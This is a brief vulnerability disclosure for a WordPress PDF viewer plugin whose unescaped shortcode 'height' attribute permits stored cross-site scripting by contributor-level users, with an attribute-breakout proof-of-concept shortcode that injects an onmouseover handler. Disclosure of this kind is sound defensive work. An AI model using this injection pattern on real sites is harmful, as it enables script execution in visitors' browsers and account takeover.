The plugin does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.
Exploit shortcode: [pdfviewer height='" onmouseover="alert(1)"']http://localhost/file.pdf[/pdfviewer]
Lana Codes
Lana Codes
Yes
2023-01-03 (about 4 months ago)
2023-01-03 (about 4 months ago)
2023-01-03 (about 4 months ago)